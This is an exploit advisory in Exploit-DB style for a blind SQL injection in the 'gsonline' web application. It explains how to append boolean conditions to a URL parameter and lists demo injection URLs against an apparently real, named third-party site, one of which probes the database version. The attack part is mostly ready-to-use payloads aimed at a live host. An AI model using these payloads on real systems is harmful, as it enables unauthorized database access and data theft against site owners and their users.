********************************************************* #Exploit Title: gsonline - Blind Sql Injection #Date: 2024-01-27 #Exploit Author: Behrouz Mansoori #Vendor Homepage: https://www.gsonline.hu #Category:webapps #Tested On: Mac, Firefox [+] First add "and true" and then "and false" to the end of the link : * Target.com/index.php?lang=1 true * Target.com/index.php?lang=1 false ### Demo : * http://tomivas.hu/index.php?id=37%20and%20true-- * http://tomivas.hu/index.php?id=37%20and%20false-- * http://tomivas.hu/index.php?id=37%20and%20substring(@@version,1,1)=5-- ********************************************************* #Discovered by: Behrouz mansoori #Instagram: Behrouz_mansoori #Email: [email protected] *********************************************************